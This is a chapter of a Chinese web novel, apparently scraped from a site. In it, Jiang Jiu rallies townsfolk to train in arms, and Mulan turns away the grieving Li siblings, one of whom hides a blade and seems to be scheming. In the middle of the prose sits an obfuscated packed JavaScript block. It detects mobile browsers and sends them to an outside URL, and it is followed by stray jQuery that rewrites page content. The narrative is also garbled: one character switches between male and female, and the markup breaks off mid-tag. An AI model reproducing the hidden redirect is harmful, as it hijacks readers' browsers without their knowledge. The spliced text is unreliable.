姜九大步跨上高台，振臂高呼，“大伙听我说一句。”
在场的百姓缓缓抬头，看向姜九。
“如今黄巾军守城兵力不足。乱世中，大伙若想保卫自己和家人，还得自己有本事才行。”
姜九的话让在场的百姓连连点头，“姜老大，咱们小老百姓只会种地织布，哪会打仗杀敌呀？”
“这好办。”姜九神情严肃地看向底下的百姓，“但凡想学武艺防身，耍刀弄箭的，都可以到军营里学习，黄巾军免学费教授。”
底下的百姓纷纷点头称是。
“大家学了本领，便可自保。况且，咱们军营里也在制作兵器，到时，百姓手里有兵器，又有了本领，有人入侵姜城也不至于被动挨打……”
百姓们闻言频频点头，无不称赞。
“我们不仅可以去学武艺，制兵器啥的，也需要人手吧！”
“刚忙完春耕，闲下来正好去军营里练武，到时候真要上战场也能拼出一条活路。”
“对，与其把小命撰在别人手里，还不如掌握在自己手里。”
姚博延又站了出来，“这就对了，众人拾柴火焰高。咱们姜城百姓与黄巾军一条心，定能在这乱世里博得一份平安。”
看着底下百姓众志成城的样子，姜九欣慰地点了点头。
群情热烈，百姓齐声大喊。
“练武艺，保平安。”
“练武艺，保平安。”
“练武艺，保平安。”
——
稻田水面在微风的吹拂下泛起阵阵涟漪，偶有几只蜻蜓掠过水面，增添了几分生机。
木兰低下身子，指尖轻柔地拨开田埂上的杂草，动作娴熟而细腻。
阳光慢慢洒在她的肩头，微微的汗珠在她的额前闪烁，而后用袖口轻轻擦拭了额上的汗水。
姚木兰起身，拍了拍手里的浮土，才看向不远处树后畏畏缩缩的身影，喊道，“你们兄妹俩来是为何？”
姚博延闻言，也走过来，本能地挡在木兰身前。
“你家中丧仪可办好了？”姚木兰询问道，语气中带着一丝关切。
李威点了点头，全然没了当初那副耀武扬威，等着人来巴结自己的傲娇劲儿。
他身后的李靖然眼神黯淡无光，脸上写满了疲惫和无奈。
从前李威仗着家世在城里横行惯了，李家惨遭一夜灭门，突遭变故，他的性情似乎也变了。
“有事想让咱帮忙尽管说，邻里乡亲能帮则帮。”姚木兰继续说道，语气温和而坚定。
李威似乎被说中了心思，抿唇，头又往下沉了沉。他的手指紧紧攥着衣角，指节泛白，显然内心挣扎不已。
“男子汉别扭扭捏捏的。”姚博延说道，语气中带着一丝不耐烦。
姚木兰手肘轻撞了下弟弟的胸膛，示意他别说。她的眼神中带着一丝责备，但更多的是对李威的理解和包容。
李威这才缓缓抬起了头，说道，“我早想参与到梯田改造，可当初家父不同意。家里人手也不够，现在还没下种呢！”他的声音低沉而沙哑，带着一丝无奈和疲惫。
从前李威心高气傲，仗着家势，都是别人来求他和父亲，自己何曾开口求人？
如今，家里落魄才不得已，拉下脸面向旁人低头。他的眼神中闪过一丝不易察觉的自卑与委屈。
“怎么才说，家家户户的田都改好了。”姚博延忍不住说道，“况且，现在黄巾军也忙于练兵，哪有功夫单独替你家改造？”
一听姚博延的话，李威脸色闪过不悦之色。
李靖然偷偷地拉了一下哥哥的衣袖，示意他别动气。
可李威毕竟是从前大户人家的公子，哪里受过这样的气，再说已经低声下气地求了，还是被拒绝，脸上更是挂不住。
李威一声不吭，便要转身离去，背影显得格外落寞，仿佛一片飘零的落叶，随风而去。
姚木兰面露难色，忙拉住李威手臂，忙说道，“要不，咱组织下街坊邻里，帮忙先把你家地给种上，待来年再想法子改造？”
她的语气中带着一丝恳切，眼神中充满了关怀。
“黄巾军现如今兵力不足，哪有功夫再单独替他们家开垦。”姚博延继续说道，语气中带着一丝无奈，“再说，都农历六月了，春耕早过了，现在才下种能行么？”
“我家还能种了几亩花生玉米，还有些时日就有收成，饿不死，不劳您费心。”李威抿唇，倔强地转身要走。
姚木兰忽而想到什么，快跑几步，追上了李威，“我家地改完后全种了水稻，要不咱把花生、玉米等这些作物种你家的地，起码先别把地浪费了，又多一份收入。先对付过去这一年，明年再想办法替你家改梯田，如何？”
没等姚木兰说完，李威便打断道，“你们姚家惯会了占别人便宜，占便宜都占到我李家头上了。”
“你怎么说话呢？”姚博延侧身就挡在姐姐身前，“我姐都是为了你好。要不是见你家人死绝了，又来强人所难，要改梯田，俺们家才不愿意搭理你呢！”
李威被气得脸面涨红，口齿不清，手握紧拳，走近一步，俩人之间气氛剑拔弩张。
当他回想起被姚博延教训的场景，又忍不住往后缩了缩，终是转身离去。
李威愤然离去，李靖然却仍站在原地未动，垂首间眼底闪过一丝晦暗不明的光。
“怎么还不走？”姚博延警惕地盯着他，语气不善。
李靖然缓缓抬头，面上竟浮现出一抹歉疚之色，低声道：“我兄长只是一时情急，言语冒犯，还望二位谅解。”
他微微躬身，姿态谦卑，可指尖却无意识地摩挲着袖口暗藏的锋利物件。
李靖然态度突变，让木兰兄妹不禁侧目。
“李家如今只剩我们兄弟二人，过往种种……是我年少轻狂，如今每每想起，实在羞愧难当。”
她声音微颤，眸中似有泪光闪动，可嘴角却在不经意间绷紧了一瞬，又迅速恢复成一副痛悔模样。
木兰与阿弟对视一眼，心中警铃大作——李靖然何时这般低声下气过？
“木兰，我们自幼一同长大，难道……连一个改过的机会都不肯给我吗？”
她语气哀戚，甚至向前迈了半步，仿佛真心恳求，可眼底却隐隐透出一丝算计的精光。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298028|179458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
木兰冷笑一声，目光锐利如刀：“少来这套！你到底想做什么？”
李靖然神色一僵，随即又挤出几分苦涩笑意，低声道：“我只是……希望我们能冰释前嫌。”
可藏在袖中的手，却悄然攥紧。
木兰当然不会滥发圣母心，毕竟李靖然对她做的种种还历历在目。
“摔碎的杯子再怎么缝补都会有裂痕，咱们的关系回不去了。”木兰撂下话，便不想再与之纠缠，带着姚博延离开。
——
来时的马车被李威驾了回府，李靖然是被百合搀扶着回李家的。
暮色四合，李靖然拖着疲惫的步子回到李府门前。
朱漆大门紧闭，檐下的灯笼被夜风吹得摇晃，在她苍白的脸上投下忽明忽暗的光影。
她抬手扣门，铜环撞击木门的声音在寂静的巷子里格外刺耳。
"兄长，是我......"她低声唤道，嗓音里带着几分恳求。
门内毫无动静。
她又重重拍了几下，指节敲得生疼，可回应她的只有门缝里漏出的一线烛光——有人就在里面，却故意不应。
“李靖然，你还有脸回来？”李威阴沉的声音终于从门后传来，“向姚家摇尾乞怜，我李家的脸都被你丢尽了！”
她浑身一颤，指甲深深掐进掌心：“这是为了李家，我俩还有啥依靠......”
李靖然拍门的声音越来越急，指甲在朱漆上刮出几道细痕。
邻家支摘窗陆续推开条缝，几个婆子探头张望，交头接耳声混着窃笑飘过来：“这不是李家二小姐吗？怎的被自家人关在外头......”
巷口卖炊饼的王老汉故意推着木轮车吱呀呀经过，车轱辘在青石板上磨出刺耳的声响。
对门绣坊的小丫鬟假装泼水，一盆浑水“不小心”溅湿了李靖然的裙角。
她僵立在台阶上，耳尖烧得通红，拍门的手终于缓缓垂下——指节处已渗出血丝，在暮色里凝成暗红的痂。
——
姚宅，木兰刚从里屋洗刷出来。
木兰绞着湿发从里屋出来，水珠顺着发梢滴落在青砖地上。
姚博延风风火火闯进院子，额上还挂着汗珠：“阿姊，可听说了？李威那个混账，竟把自家妹妹锁在门外！”
他绘声绘色地描述着李靖然如何狼狈拍门、如何被街坊指指点点。
木兰听着，手指无意识地绕着发尾打转，将几缕湿发绞得微微发紧。
“人性本善......”她轻声道，指尖在茶盏边缘摩挲，“可狼披羊皮，终究还是狼。”
茶水映出她微蹙的眉，涟漪荡碎又聚拢。
姚博延一屁股坐在木兰身旁：“李家如今没了靠山，怕是想借我们的势......”
“梯田的事可以谈。”木兰突然打断他，茶盏"咔"地搁在石桌上，“但得等来年开春。”
她望着院角一株将谢的晚菊，声音轻得像在自语："你说......曾经想置你于死地之人，怎么就突然想起儿时情分了？"
夜风拂过，廊下的灯笼晃了晃，在她眼底投下一抹暗影。